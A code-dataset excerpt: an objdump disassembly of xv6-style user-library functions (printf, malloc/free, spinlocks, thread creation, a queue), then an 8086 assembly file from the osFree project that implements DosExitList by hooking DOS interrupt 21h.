e9 b3 00 00 00 jmp 15c7 <printf+0x193> } else if(c == 's'){ 1514: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 1518: 75 45 jne 155f <printf+0x12b> s = (char*)*ap; 151a: 8b 45 e8 mov -0x18(%ebp),%eax 151d: 8b 00 mov (%eax),%eax 151f: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 1522: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 1526: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 152a: 75 09 jne 1535 <printf+0x101> s = "(null)"; 152c: c7 45 f4 75 1a 00 00 movl $0x1a75,-0xc(%ebp) while(*s != 0){ 1533: eb 1e jmp 1553 <printf+0x11f> 1535: eb 1c jmp 1553 <printf+0x11f> putc(fd, *s); 1537: 8b 45 f4 mov -0xc(%ebp),%eax 153a: 0f b6 00 movzbl (%eax),%eax 153d: 0f be c0 movsbl %al,%eax 1540: 89 44 24 04 mov %eax,0x4(%esp) 1544: 8b 45 08 mov 0x8(%ebp),%eax 1547: 89 04 24 mov %eax,(%esp) 154a: e8 05 fe ff ff call 1354 <putc> s++; 154f: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 1553: 8b 45 f4 mov -0xc(%ebp),%eax 1556: 0f b6 00 movzbl (%eax),%eax 1559: 84 c0 test %al,%al 155b: 75 da jne 1537 <printf+0x103> 155d: eb 68 jmp 15c7 <printf+0x193> putc(fd, *s); s++; } } else if(c == 'c'){ 155f: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 1563: 75 1d jne 1582 <printf+0x14e> putc(fd, *ap); 1565: 8b 45 e8 mov -0x18(%ebp),%eax 1568: 8b 00 mov (%eax),%eax 156a: 0f be c0 movsbl %al,%eax 156d: 89 44 24 04 mov %eax,0x4(%esp) 1571: 8b 45 08 mov 0x8(%ebp),%eax 1574: 89 04 24 mov %eax,(%esp) 1577: e8 d8 fd ff ff call 1354 <putc> ap++; 157c: 83 45 e8 04 addl $0x4,-0x18(%ebp) 1580: eb 45 jmp 15c7 <printf+0x193> } else if(c == '%'){ 1582: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 1586: 75 17 jne 159f <printf+0x16b> putc(fd, c); 1588: 8b 45 e4 mov -0x1c(%ebp),%eax 158b: 0f be c0 movsbl %al,%eax 158e: 89 44 24 04 mov %eax,0x4(%esp) 1592: 8b 45 08 mov 0x8(%ebp),%eax 1595: 89 04 24 mov %eax,(%esp) 1598: e8 b7 fd ff ff call 1354 <putc> 159d: eb 28 jmp 15c7 <printf+0x193> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 159f: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 15a6: 00 15a7: 8b 45 08 mov 0x8(%ebp),%eax 15aa: 89 04 24 mov %eax,(%esp) 15ad: e8 a2 fd ff ff call 1354 <putc> putc(fd, c); 15b2: 8b 45 e4 mov -0x1c(%ebp),%eax 15b5: 0f be c0 movsbl %al,%eax 15b8: 89 44 24 04 mov %eax,0x4(%esp) 15bc: 8b 45 08 mov 0x8(%ebp),%eax 15bf: 89 04 24 mov %eax,(%esp) 15c2: e8 8d fd ff ff call 1354 <putc> } state = 0; 15c7: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 15ce: 83 45 f0 01 addl $0x1,-0x10(%ebp) 15d2: 8b 55 0c mov 0xc(%ebp),%edx 15d5: 8b 45 f0 mov -0x10(%ebp),%eax 15d8: 01 d0 add %edx,%eax 15da: 0f b6 00 movzbl (%eax),%eax 15dd: 84 c0 test %al,%al 15df: 0f 85 71 fe ff ff jne 1456 <printf+0x22> putc(fd, c); } state = 0; } } } 15e5: c9 leave 15e6: c3 ret 15e7: 90 nop 000015e8 <free>: static Header base; static Header *freep; void free(void *ap) { 15e8: 55 push %ebp 15e9: 89 e5 mov %esp,%ebp 15eb: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 15ee: 8b 45 08 mov 0x8(%ebp),%eax 15f1: 83 e8 08 sub $0x8,%eax 15f4: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 15f7: a1 4c 1e 00 00 mov 0x1e4c,%eax 15fc: 89 45 fc mov %eax,-0x4(%ebp) 15ff: eb 24 jmp 1625 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1601: 8b 45 fc mov -0x4(%ebp),%eax 1604: 8b 00 mov (%eax),%eax 1606: 3b 45 fc cmp -0x4(%ebp),%eax 1609: 77 12 ja 161d <free+0x35> 160b: 8b 45 f8 mov -0x8(%ebp),%eax 160e: 3b 45 fc cmp -0x4(%ebp),%eax 1611: 77 24 ja 1637 <free+0x4f> 1613: 8b 45 fc mov -0x4(%ebp),%eax 1616: 8b 00 mov (%eax),%eax 1618: 3b 45 f8 cmp -0x8(%ebp),%eax 161b: 77 1a ja 1637 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 161d: 8b 45 fc mov -0x4(%ebp),%eax 1620: 8b 00 mov (%eax),%eax 1622: 89 45 fc mov %eax,-0x4(%ebp) 1625: 8b 45 f8 mov -0x8(%ebp),%eax 1628: 3b 45 fc cmp -0x4(%ebp),%eax 162b: 76 d4 jbe 1601 <free+0x19> 162d: 8b 45 fc mov -0x4(%ebp),%eax 1630: 8b 00 mov (%eax),%eax 1632: 3b 45 f8 cmp -0x8(%ebp),%eax 1635: 76 ca jbe 1601 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 1637: 8b 45 f8 mov -0x8(%ebp),%eax 163a: 8b 40 04 mov 0x4(%eax),%eax 163d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 1644: 8b 45 f8 mov -0x8(%ebp),%eax 1647: 01 c2 add %eax,%edx 1649: 8b 45 fc mov -0x4(%ebp),%eax 164c: 8b 00 mov (%eax),%eax 164e: 39 c2 cmp %eax,%edx 1650: 75 24 jne 1676 <free+0x8e> bp->s.size += p->s.ptr->s.size; 1652: 8b 45 f8 mov -0x8(%ebp),%eax 1655: 8b 50 04 mov 0x4(%eax),%edx 1658: 8b 45 fc mov -0x4(%ebp),%eax 165b: 8b 00 mov (%eax),%eax 165d: 8b 40 04 mov 0x4(%eax),%eax 1660: 01 c2 add %eax,%edx 1662: 8b 45 f8 mov -0x8(%ebp),%eax 1665: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 1668: 8b 45 fc mov -0x4(%ebp),%eax 166b: 8b 00 mov (%eax),%eax 166d: 8b 10 mov (%eax),%edx 166f: 8b 45 f8 mov -0x8(%ebp),%eax 1672: 89 10 mov %edx,(%eax) 1674: eb 0a jmp 1680 <free+0x98> } else bp->s.ptr = p->s.ptr; 1676: 8b 45 fc mov -0x4(%ebp),%eax 1679: 8b 10 mov (%eax),%edx 167b: 8b 45 f8 mov -0x8(%ebp),%eax 167e: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 1680: 8b 45 fc mov -0x4(%ebp),%eax 1683: 8b 40 04 mov 0x4(%eax),%eax 1686: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 168d: 8b 45 fc mov -0x4(%ebp),%eax 1690: 01 d0 add %edx,%eax 1692: 3b 45 f8 cmp -0x8(%ebp),%eax 1695: 75 20 jne 16b7 <free+0xcf> p->s.size += bp->s.size; 1697: 8b 45 fc mov -0x4(%ebp),%eax 169a: 8b 50 04 mov 0x4(%eax),%edx 169d: 8b 45 f8 mov -0x8(%ebp),%eax 16a0: 8b 40 04 mov 0x4(%eax),%eax 16a3: 01 c2 add %eax,%edx 16a5: 8b 45 fc mov -0x4(%ebp),%eax 16a8: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 16ab: 8b 45 f8 mov -0x8(%ebp),%eax 16ae: 8b 10 mov (%eax),%edx 16b0: 8b 45 fc mov -0x4(%ebp),%eax 16b3: 89 10 mov %edx,(%eax) 16b5: eb 08 jmp 16bf <free+0xd7> } else p->s.ptr = bp; 16b7: 8b 45 fc mov -0x4(%ebp),%eax 16ba: 8b 55 f8 mov -0x8(%ebp),%edx 16bd: 89 10 mov %edx,(%eax) freep = p; 16bf: 8b 45 fc mov -0x4(%ebp),%eax 16c2: a3 4c 1e 00 00 mov %eax,0x1e4c } 16c7: c9 leave 16c8: c3 ret 000016c9 <morecore>: static Header* morecore(uint nu) { 16c9: 55 push %ebp 16ca: 89 e5 mov %esp,%ebp 16cc: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 16cf: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 16d6: 77 07 ja 16df <morecore+0x16> nu = 4096; 16d8: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 16df: 8b 45 08 mov 0x8(%ebp),%eax 16e2: c1 e0 03 shl $0x3,%eax 16e5: 89 04 24 mov %eax,(%esp) 16e8: e8 27 fc ff ff call 1314 <sbrk> 16ed: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 16f0: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 16f4: 75 07 jne 16fd <morecore+0x34> return 0; 16f6: b8 00 00 00 00 mov $0x0,%eax 16fb: eb 22 jmp 171f <morecore+0x56> hp = (Header*)p; 16fd: 8b 45 f4 mov -0xc(%ebp),%eax 1700: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 1703: 8b 45 f0 mov -0x10(%ebp),%eax 1706: 8b 55 08 mov 0x8(%ebp),%edx 1709: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 170c: 8b 45 f0 mov -0x10(%ebp),%eax 170f: 83 c0 08 add $0x8,%eax 1712: 89 04 24 mov %eax,(%esp) 1715: e8 ce fe ff ff call 15e8 <free> return freep; 171a: a1 4c 1e 00 00 mov 0x1e4c,%eax } 171f: c9 leave 1720: c3 ret 00001721 <malloc>: void* malloc(uint nbytes) { 1721: 55 push %ebp 1722: 89 e5 mov %esp,%ebp 1724: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1727: 8b 45 08 mov 0x8(%ebp),%eax 172a: 83 c0 07 add $0x7,%eax 172d: c1 e8 03 shr $0x3,%eax 1730: 83 c0 01 add $0x1,%eax 1733: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 1736: a1 4c 1e 00 00 mov 0x1e4c,%eax 173b: 89 45 f0 mov %eax,-0x10(%ebp) 173e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1742: 75 23 jne 1767 <malloc+0x46> base.s.ptr = freep = prevp = &base; 1744: c7 45 f0 44 1e 00 00 movl $0x1e44,-0x10(%ebp) 174b: 8b 45 f0 mov -0x10(%ebp),%eax 174e: a3 4c 1e 00 00 mov %eax,0x1e4c 1753: a1 4c 1e 00 00 mov 0x1e4c,%eax 1758: a3 44 1e 00 00 mov %eax,0x1e44 base.s.size = 0; 175d: c7 05 48 1e 00 00 00 movl $0x0,0x1e48 1764: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1767: 8b 45 f0 mov -0x10(%ebp),%eax 176a: 8b 00 mov (%eax),%eax 176c: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 176f: 8b 45 f4 mov -0xc(%ebp),%eax 1772: 8b 40 04 mov 0x4(%eax),%eax 1775: 3b 45 ec cmp -0x14(%ebp),%eax 1778: 72 4d jb 17c7 <malloc+0xa6> if(p->s.size == nunits) 177a: 8b 45 f4 mov -0xc(%ebp),%eax 177d: 8b 40 04 mov 0x4(%eax),%eax 1780: 3b 45 ec cmp -0x14(%ebp),%eax 1783: 75 0c jne 1791 <malloc+0x70> prevp->s.ptr = p->s.ptr; 1785: 8b 45 f4 mov -0xc(%ebp),%eax 1788: 8b 10 mov (%eax),%edx 178a: 8b 45 f0 mov -0x10(%ebp),%eax 178d: 89 10 mov %edx,(%eax) 178f: eb 26 jmp 17b7 <malloc+0x96> else { p->s.size -= nunits; 1791: 8b 45 f4 mov -0xc(%ebp),%eax 1794: 8b 40 04 mov 0x4(%eax),%eax 1797: 2b 45 ec sub -0x14(%ebp),%eax 179a: 89 c2 mov %eax,%edx 179c: 8b 45 f4 mov -0xc(%ebp),%eax 179f: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 17a2: 8b 45 f4 mov -0xc(%ebp),%eax 17a5: 8b 40 04 mov 0x4(%eax),%eax 17a8: c1 e0 03 shl $0x3,%eax 17ab: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 17ae: 8b 45 f4 mov -0xc(%ebp),%eax 17b1: 8b 55 ec mov -0x14(%ebp),%edx 17b4: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 17b7: 8b 45 f0 mov -0x10(%ebp),%eax 17ba: a3 4c 1e 00 00 mov %eax,0x1e4c return (void*)(p + 1); 17bf: 8b 45 f4 mov -0xc(%ebp),%eax 17c2: 83 c0 08 add $0x8,%eax 17c5: eb 38 jmp 17ff <malloc+0xde> } if(p == freep) 17c7: a1 4c 1e 00 00 mov 0x1e4c,%eax 17cc: 39 45 f4 cmp %eax,-0xc(%ebp) 17cf: 75 1b jne 17ec <malloc+0xcb> if((p = morecore(nunits)) == 0) 17d1: 8b 45 ec mov -0x14(%ebp),%eax 17d4: 89 04 24 mov %eax,(%esp) 17d7: e8 ed fe ff ff call 16c9 <morecore> 17dc: 89 45 f4 mov %eax,-0xc(%ebp) 17df: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 17e3: 75 07 jne 17ec <malloc+0xcb> return 0; 17e5: b8 00 00 00 00 mov $0x0,%eax 17ea: eb 13 jmp 17ff <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 17ec: 8b 45 f4 mov -0xc(%ebp),%eax 17ef: 89 45 f0 mov %eax,-0x10(%ebp) 17f2: 8b 45 f4 mov -0xc(%ebp),%eax 17f5: 8b 00 mov (%eax),%eax 17f7: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 17fa: e9 70 ff ff ff jmp 176f <malloc+0x4e> } 17ff: c9 leave 1800: c3 ret 1801: 66 90 xchg %ax,%ax 1803: 90 nop 00001804 <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 1804: 55 push %ebp 1805: 89 e5 mov %esp,%ebp 1807: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 180a: 8b 55 08 mov 0x8(%ebp),%edx 180d: 8b 45 0c mov 0xc(%ebp),%eax 1810: 8b 4d 08 mov 0x8(%ebp),%ecx 1813: f0 87 02 lock xchg %eax,(%edx) 1816: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 1819: 8b 45 fc mov -0x4(%ebp),%eax } 181c: c9 leave 181d: c3 ret 0000181e <lock_init>: #include "x86.h" #include "proc.h" unsigned long rands = 1; void lock_init(lock_t *lock){ 181e: 55 push %ebp 181f: 89 e5 mov %esp,%ebp lock->locked = 0; 1821: 8b 45 08 mov 0x8(%ebp),%eax 1824: c7 00 00 00 00 00 movl $0x0,(%eax) } 182a: 5d pop %ebp 182b: c3 ret 0000182c <lock_acquire>: void lock_acquire(lock_t *lock){ 182c: 55 push %ebp 182d: 89 e5 mov %esp,%ebp 182f: 83 ec 08 sub $0x8,%esp while(xchg(&lock->locked,1) != 0); 1832: 90 nop 1833: 8b 45 08 mov 0x8(%ebp),%eax 1836: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 183d: 00 183e: 89 04 24 mov %eax,(%esp) 1841: e8 be ff ff ff call 1804 <xchg> 1846: 85 c0 test %eax,%eax 1848: 75 e9 jne 1833 <lock_acquire+0x7> } 184a: c9 leave 184b: c3 ret 0000184c <lock_release>: void lock_release(lock_t *lock){ 184c: 55 push %ebp 184d: 89 e5 mov %esp,%ebp 184f: 83 ec 08 sub $0x8,%esp xchg(&lock->locked,0); 1852: 8b 45 08 mov 0x8(%ebp),%eax 1855: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 185c: 00 185d: 89 04 24 mov %eax,(%esp) 1860: e8 9f ff ff ff call 1804 <xchg> } 1865: c9 leave 1866: c3 ret 00001867 <thread_create>: void *thread_create(void(*start_routine)(void*), void *arg){ 1867: 55 push %ebp 1868: 89 e5 mov %esp,%ebp 186a: 83 ec 28 sub $0x28,%esp int tid; void * stack = malloc(2 * 4096); 186d: c7 04 24 00 20 00 00 movl $0x2000,(%esp) 1874: e8 a8 fe ff ff call 1721 <malloc> 1879: 89 45 f4 mov %eax,-0xc(%ebp) void *garbage_stack = stack; 187c: 8b 45 f4 mov -0xc(%ebp),%eax 187f: 89 45 f0 mov %eax,-0x10(%ebp) // printf(1,"start routine addr : %d\n",(uint)start_routine); if((uint)stack % 4096){ 1882: 8b 45 f4 mov -0xc(%ebp),%eax 1885: 25 ff 0f 00 00 and $0xfff,%eax 188a: 85 c0 test %eax,%eax 188c: 74 14 je 18a2 <thread_create+0x3b> stack = stack + (4096 - (uint)stack % 4096); 188e: 8b 45 f4 mov -0xc(%ebp),%eax 1891: 25 ff 0f 00 00 and $0xfff,%eax 1896: 89 c2 mov %eax,%edx 1898: b8 00 10 00 00 mov $0x1000,%eax 189d: 29 d0 sub %edx,%eax 189f: 01 45 f4 add %eax,-0xc(%ebp) } if (stack == 0){ 18a2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 18a6: 75 1b jne 18c3 <thread_create+0x5c> printf(1,"malloc fail \n"); 18a8: c7 44 24 04 7c 1a 00 movl $0x1a7c,0x4(%esp) 18af: 00 18b0: c7 04 24 01 00 00 00 movl $0x1,(%esp) 18b7: e8 78 fb ff ff call 1434 <printf> return 0; 18bc: b8 00 00 00 00 mov $0x0,%eax 18c1: eb 6f jmp 1932 <thread_create+0xcb> } tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg); 18c3: 8b 4d 0c mov 0xc(%ebp),%ecx 18c6: 8b 55 08 mov 0x8(%ebp),%edx 18c9: 8b 45 f4 mov -0xc(%ebp),%eax 18cc: 89 4c 24 0c mov %ecx,0xc(%esp) 18d0: 89 54 24 08 mov %edx,0x8(%esp) 18d4: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) 18db: 00 18dc: 89 04 24 mov %eax,(%esp) 18df: e8 48 fa ff ff call 132c <clone> 18e4: 89 45 ec mov %eax,-0x14(%ebp) if(tid < 0){ 18e7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 18eb: 79 1b jns 1908 <thread_create+0xa1> printf(1,"clone fails\n"); 18ed: c7 44 24 04 8a 1a 00 movl $0x1a8a,0x4(%esp) 18f4: 00 18f5: c7 04 24 01 00 00 00 movl $0x1,(%esp) 18fc: e8 33 fb ff ff call 1434 <printf> return 0; 1901: b8 00 00 00 00 mov $0x0,%eax 1906: eb 2a jmp 1932 <thread_create+0xcb> } if(tid > 0){ 1908: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 190c: 7e 05 jle 1913 <thread_create+0xac> //store threads on thread table return garbage_stack; 190e: 8b 45 f0 mov -0x10(%ebp),%eax 1911: eb 1f jmp 1932 <thread_create+0xcb> } if(tid == 0){ 1913: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1917: 75 14 jne 192d <thread_create+0xc6> printf(1,"tid = 0 return \n"); 1919: c7 44 24 04 97 1a 00 movl $0x1a97,0x4(%esp) 1920: 00 1921: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1928: e8 07 fb ff ff call 1434 <printf> } // wait(); // free(garbage_stack); return 0; 192d: b8 00 00 00 00 mov $0x0,%eax } 1932: c9 leave 1933: c3 ret 00001934 <random>: // generate 0 -> max random number exclude max. int random(int max){ 1934: 55 push %ebp 1935: 89 e5 mov %esp,%ebp rands = rands * 1664525 + 1013904233; 1937: a1 40 1e 00 00 mov 0x1e40,%eax 193c: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax 1942: 05 69 f3 6e 3c add $0x3c6ef369,%eax 1947: a3 40 1e 00 00 mov %eax,0x1e40 return (int)(rands % max); 194c: a1 40 1e 00 00 mov 0x1e40,%eax 1951: 8b 4d 08 mov 0x8(%ebp),%ecx 1954: ba 00 00 00 00 mov $0x0,%edx 1959: f7 f1 div %ecx 195b: 89 d0 mov %edx,%eax } 195d: 5d pop %ebp 195e: c3 ret 195f: 90 nop 00001960 <init_q>: #include "queue.h" #include "types.h" #include "user.h" void init_q(struct queue *q){ 1960: 55 push %ebp 1961: 89 e5 mov %esp,%ebp q->size = 0; 1963: 8b 45 08 mov 0x8(%ebp),%eax 1966: c7 00 00 00 00 00 movl $0x0,(%eax) q->head = 0; 196c: 8b 45 08 mov 0x8(%ebp),%eax 196f: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 1976: 8b 45 08 mov 0x8(%ebp),%eax 1979: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 1980: 5d pop %ebp 1981: c3 ret 00001982 <add_q>: void add_q(struct queue *q, int v){ 1982: 55 push %ebp 1983: 89 e5 mov %esp,%ebp 1985: 83 ec 28 sub $0x28,%esp struct node * n = malloc(sizeof(struct node)); 1988: c7 04 24 08 00 00 00 movl $0x8,(%esp) 198f: e8 8d fd ff ff call 1721 <malloc> 1994: 89 45 f4 mov %eax,-0xc(%ebp) n->next = 0; 1997: 8b 45 f4 mov -0xc(%ebp),%eax 199a: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) n->value = v; 19a1: 8b 45 f4 mov -0xc(%ebp),%eax 19a4: 8b 55 0c mov 0xc(%ebp),%edx 19a7: 89 10 mov %edx,(%eax) if(q->head == 0){ 19a9: 8b 45 08 mov 0x8(%ebp),%eax 19ac: 8b 40 04 mov 0x4(%eax),%eax 19af: 85 c0 test %eax,%eax 19b1: 75 0b jne 19be <add_q+0x3c> q->head = n; 19b3: 8b 45 08 mov 0x8(%ebp),%eax 19b6: 8b 55 f4 mov -0xc(%ebp),%edx 19b9: 89 50 04 mov %edx,0x4(%eax) 19bc: eb 0c jmp 19ca <add_q+0x48> }else{ q->tail->next = n; 19be: 8b 45 08 mov 0x8(%ebp),%eax 19c1: 8b 40 08 mov 0x8(%eax),%eax 19c4: 8b 55 f4 mov -0xc(%ebp),%edx 19c7: 89 50 04 mov %edx,0x4(%eax) } q->tail = n; 19ca: 8b 45 08 mov 0x8(%ebp),%eax 19cd: 8b 55 f4 mov -0xc(%ebp),%edx 19d0: 89 50 08 mov %edx,0x8(%eax) q->size++; 19d3: 8b 45 08 mov 0x8(%ebp),%eax 19d6: 8b 00 mov (%eax),%eax 19d8: 8d 50 01 lea 0x1(%eax),%edx 19db: 8b 45 08 mov 0x8(%ebp),%eax 19de: 89 10 mov %edx,(%eax) } 19e0: c9 leave 19e1: c3 ret 000019e2 <empty_q>: int empty_q(struct queue *q){ 19e2: 55 push %ebp 19e3: 89 e5 mov %esp,%ebp if(q->size == 0) 19e5: 8b 45 08 mov 0x8(%ebp),%eax 19e8: 8b 00 mov (%eax),%eax 19ea: 85 c0 test %eax,%eax 19ec: 75 07 jne 19f5 <empty_q+0x13> return 1; 19ee: b8 01 00 00 00 mov $0x1,%eax 19f3: eb 05 jmp 19fa <empty_q+0x18> else return 0; 19f5: b8 00 00 00 00 mov $0x0,%eax } 19fa: 5d pop %ebp 19fb: c3 ret 000019fc <pop_q>: int pop_q(struct queue *q){ 19fc: 55 push %ebp 19fd: 89 e5 mov %esp,%ebp 19ff: 83 ec 28 sub $0x28,%esp int val; struct node *destroy; if(!empty_q(q)){ 1a02: 8b 45 08 mov 0x8(%ebp),%eax 1a05: 89 04 24 mov %eax,(%esp) 1a08: e8 d5 ff ff ff call 19e2 <empty_q> 1a0d: 85 c0 test %eax,%eax 1a0f: 75 5d jne 1a6e <pop_q+0x72> val = q->head->value; 1a11: 8b 45 08 mov 0x8(%ebp),%eax 1a14: 8b 40 04 mov 0x4(%eax),%eax 1a17: 8b 00 mov (%eax),%eax 1a19: 89 45 f4 mov %eax,-0xc(%ebp) destroy = q->head; 1a1c: 8b 45 08 mov 0x8(%ebp),%eax 1a1f: 8b 40 04 mov 0x4(%eax),%eax 1a22: 89 45 f0 mov %eax,-0x10(%ebp) q->head = q->head->next; 1a25: 8b 45 08 mov 0x8(%ebp),%eax 1a28: 8b 40 04 mov 0x4(%eax),%eax 1a2b: 8b 50 04 mov 0x4(%eax),%edx 1a2e: 8b 45 08 mov 0x8(%ebp),%eax 1a31: 89 50 04 mov %edx,0x4(%eax) free(destroy); 1a34: 8b 45 f0 mov -0x10(%ebp),%eax 1a37: 89 04 24 mov %eax,(%esp) 1a3a: e8 a9 fb ff ff call 15e8 <free> q->size--; 1a3f: 8b 45 08 mov 0x8(%ebp),%eax 1a42: 8b 00 mov (%eax),%eax 1a44: 8d 50 ff lea -0x1(%eax),%edx 1a47: 8b 45 08 mov 0x8(%ebp),%eax 1a4a: 89 10 mov %edx,(%eax) if(q->size == 0){ 1a4c: 8b 45 08 mov 0x8(%ebp),%eax 1a4f: 8b 00 mov (%eax),%eax 1a51: 85 c0 test %eax,%eax 1a53: 75 14 jne 1a69 <pop_q+0x6d> q->head = 0; 1a55: 8b 45 08 mov 0x8(%ebp),%eax 1a58: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 1a5f: 8b 45 08 mov 0x8(%ebp),%eax 1a62: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } return val; 1a69: 8b 45 f4 mov -0xc(%ebp),%eax 1a6c: eb 05 jmp 1a73 <pop_q+0x77> } return -1; 1a6e: b8 ff ff ff ff mov $0xffffffff,%eax } 1a73: c9 leave 1a74: c3 ret
36.744597
64
0.422588
9057058846845b0118025e5af45f256c48762a27
3,652
asm
Assembly
dos/DosExitList.asm
osfree-project/FamilyAPI
2119a95cb2bbe6716ecacff4171866f6ea51b8d7
[ "BSD-3-Clause" ]
1
2021-11-25T14:01:48.000Z
2021-11-25T14:01:48.000Z
dos/DosExitList.asm
osfree-project/FamilyAPI
2119a95cb2bbe6716ecacff4171866f6ea51b8d7
[ "BSD-3-Clause" ]
null
null
null
dos/DosExitList.asm
osfree-project/FamilyAPI
2119a95cb2bbe6716ecacff4171866f6ea51b8d7
[ "BSD-3-Clause" ]
2
2021-11-05T06:48:43.000Z
2021-12-06T08:07:38.000Z
.8086 externdef DOSEXIT:far public DOSEXITLIST _DATA segment byte public 'DATA' procad dd 0 ;address of exit proc rc dw 0 ;RC psp dw 0 ;PSP _DATA ends _TEXT segment byte public 'CODE' stab label word dw offset AddToList dw offset Remove dw offset Complete vector dd 0 ;previous dos vector (21h) DOSEXITLIST: push BP mov BP,SP push DX push SI push DI push ES push ds mov ax,_DATA mov ds,ax assume ds:_DATA mov SI,[BP+10] mov AX,1 cmp si,3 ja exit ;error dec SI ;0,1,2 shl SI,1 jmp cs:[SI+stab] AddToList: ;add to termination list push BX mov AH,062h ;get PSP int 21h mov [psp],BX pop BX cmp word ptr cs:[vector+2],0 jnz @F call setint21 @@: mov AX,[BP+6] ;save address mov DX,[BP+8] mov word ptr [procad+0],AX mov word ptr [procad+2],DX jmp done Remove: ;remove from termination list cmp word ptr cs:[vector+2],0 je done call restoreint21 ;dos vector restore jmp done Complete: ;termination processing complete cmp word ptr cs:[vector+2],0 je @F call restoreint21 @@: MOV AX, 1 push AX push [rc] call DOSEXIT done: xor AX,AX exit: pop ds pop ES pop DI pop SI pop DX mov SP,BP pop BP retf 6 savevektor proc near private push bp mov bp,sp mov bx,cs mov ax,000Ah ;get alias for CS int 31h jc @F push ds mov ds,ax assume ds:_TEXT mov ax,[bp+4] mov word ptr [vector+0],ax mov ax,[bp+6] mov word ptr [vector+2],ax mov bx,ds pop ds assume ds:_DATA mov ax,1 int 31h @@: pop bp ret 4 savevektor endp ;*** add to termination list *** setint21: mov AX,03521h int 21h push es push bx call savevektor push DS push CS pop DS mov DX,offset myint21 mov AX,02521h int 21h pop DS ret ;*** routine raus *** restoreint21: push DS mov AX,02521h lds DX,cs:[vector] int 21h pop DS xor AX,AX push ax push ax call savevektor ret ;*** termination handler int 21 *** myint21: pushf cmp AH,04Ch jne noterm push ds push AX mov ax,_data mov ds,ax push BX mov AH,062h int 21h cmp word ptr [psp],BX pop BX pop AX je itsus pop ds noterm: popf jmp dword ptr CS:[vector] itsus: mov [rc],AX pop ax popf push word ptr [procad+2] push word ptr [procad+0] mov ds,ax retf _TEXT ends end
20.402235
64
0.412103
67213270dceb26b6f57fc532ab33daee0066bb87
2,100
asm
Assembly
libs/CPC_V1_SimplePalette.asm
CurlyPaul/cpc-z80-twisting-tower
7cdab1cb9871cd6248ae41e8e201f280d9bc1031
[ "MIT" ]
2
2021-07-06T14:03:11.000Z
2021-07-06T22:16:43.000Z
libs/CPC_V1_SimplePalette.asm
CurlyPaul/cpc-z80-twisting-tower
